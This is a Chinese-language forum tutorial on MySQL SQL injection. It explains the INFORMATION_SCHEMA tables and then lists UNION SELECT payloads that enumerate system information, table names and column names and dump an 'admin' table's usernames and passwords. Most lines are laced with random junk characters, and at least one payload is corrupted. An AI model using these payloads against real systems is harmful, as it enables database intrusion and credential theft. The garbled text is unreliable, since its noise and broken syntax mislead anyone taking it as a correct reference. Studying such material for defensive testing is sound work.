本文介绍MYSQL盲注的一些语句和方法( M* F! C; t8 d" c- _
. I% N7 R2 \0 W& ]; i0 T
学习盲注前先了解下 IFORMATION_SCHEMA 库% I/ f" F' |+ P% ^! |
. X3 H- j; W& A7 U mMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
* \) n- A( @7 p存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
3 Z4 P- S- [% r4 W; x) R7 I3 O1.得到所有数据库名:* h- M6 {( G y6 \: t
|SCHEMATA ->存储数据库名的表
, L+ T! V5 \$ E/ S) }, o|---字段:SCHEMA_NAME ->数据库名称
I' E4 `9 G! H A9 v
( I3 L. T0 z: X- V: E/ t|TABLES ->存储表名+ z6 i# f& H7 A
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名0 C/ I3 T/ D' N6 l
|---字段:TABLE_NAME ->存储表的表名. {3 t8 v5 w' j2 g+ D, h+ J. w, c
7 \% e3 X- M, a- P* h& `
|COLUMNS ->存储的字段名表
+ v2 b: z* n# n9 t% a3 i|---字段:TABLE_SCHEMA ->该字段所属数据库名; k2 R! y& G: o! y2 {
|---字段:TABLE_NAME ->存储所属表的名称
" }* v2 T V+ C! J# {# B/ |: r
, {# ]0 t% @! Z|---字段:COLUMN_NAME ->该字段的名称
" ?) y) g. m7 a1 G( \8 x" y" d& t8 z m
: p4 H# v" [5 s# w
7 s" q H/ C7 P* @9 N9 a###########################################################################% ~7 X9 @5 @& m* ^. w; S) t
# X. r+ j6 M+ a8 c! ~, r
0x001 获取系统信息:
: w, M; }" C u ^/ B* e9 T- H$ E7 |% `3 L& t# c3 I+ N
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*+ e; P2 O) w, G3 }, F
4 s4 b5 S! r, I4 Q4 _/*
* f9 [6 C, N! ]. Y4 T4 g5 U2 h) T, A I
@@global.version_compile_os 获取系统版本
# u; H/ D! t% }( N: h" S5 h( T6 k" M$ j K4 `/ A
@@datadir 数据库路径
2 m% D @9 h! a7 D( gdatabase() 当前数据库名称3 r& ^6 K( `6 i# y
0x3c62723e 换行HEX值& Q+ X5 r$ [* f! O
* |1 }; H5 J7 N- L( j
*/4 X$ m. l/ {8 |% @
a3 Q" m0 O& D! i
" l i7 w; r2 C- C# G# a) I- a$ a" T/ s- ^
######################################################################5 L0 u( v1 _* c" o! M1 p) o" h
' ]5 g; U; }8 G; }- _, H' J0x002 获取表名2 R+ W+ q- w( k
) q& y- o6 m( g4 ] junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*7 D; j, u- M. r
" p) ]6 B. m0 L# i2 P7 w$ z: I9 Z7 d ' O. a" m( v: ~- M' Z$ P8 m8 ~
0 v& K% F1 G* C' y$ z/*' _; X' r% I ]! T1 @3 _! `4 p
3 {8 f8 n0 y) T0 h$ r
0x67617264656e 为当前数据库名5 W$ {+ ~- h4 Q3 v* m- ~
" V/ U: q _8 I6 b' s0 ]
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名! m* y. D$ Z7 I* C9 C$ {1 u2 X. s# c
5 C$ L6 @! G! ~$ v s& p6 x Q
*/$ E# }* |. V# w/ f4 g5 F4 u, @) \
5 n0 t. F) F1 a9 b
######################################################################8 ]( R4 N, f# y; f5 q( U) J
6 @6 U" O( L; I+ \. N4 M
) ]' l& Z2 t' V% I' ^
0 W3 M! X9 D' F* n" z/ J7 j: K% l* }1 n0x003 获取字段& x, A e) C5 |6 f9 C- `7 ^
: h; z a0 A1 S
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*2 e" S9 |7 M! M& d
6 _& C; t% }: B4 B/*
* U( y* k3 F) N4 ~; \ [
6 n9 D3 g( m) bgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
) y# G, r m$ K" p3 ~$ P- ], N0 O |0 ]$ O! \, \! r
0x61646d696e ->选择一个表! \1 m& \5 P# n6 E' {
6 W, }( R" T% Z/ S% m6 {0x67617264656e ->数据库名) c8 Y. A& B$ S {; `( C
9 z4 t! m! U5 n* S4 L2 ?; \) N) k*/
1 V2 Z& m8 v/ e/ ]- s! C7 C2 F6 @2 j/ O4 D# f! E
#####################################################################9 {8 u0 V- i% L: \
3 l% Y: T, ^6 D' }0 p& f
0 K' H# u1 ] c5 B. X6 R# z, I$ n% F. `( }, u4 ?$ w6 p; E) {
0x004 获取数据* q; t2 @1 ?1 h2 U1 ~
) I; h/ Q# _8 K* H, y' ^union select 1,2,36 O1 J" k) ~( h# f; l! a
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin! T# o7 }8 `/ |* N
) v8 q- ], F( B/ |' o, |union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
0 N9 w3 ?& [" C7 ]& ?0 C3 X* o/ O( | ~5 G8 g3 j: {0 l
1 C2 k0 A6 f" L; t" q5 U' K* }7 s
' v2 x- f4 N$ N, t" Y1 l/*
/ @! J" p1 a" g8 y/ { h N: G0 w# w; u$ W& {
0x3c62723e 换行符号HEX编码5 o* d. }" Q+ k' U. ?: f
! d( j% y7 P: f( T/ V( b7 R- B' N# Lgroup_concat 同时获得该字段所有数据 R% Y% T. r/ k/ \$ I" B3 w O: y
8 z4 M7 [1 D1 }5 [' C- w*/
5 c4 f- {) L) f! o# |5 z& ]1 X0 L6 o, P: i4 p! d2 t7 l6 C
|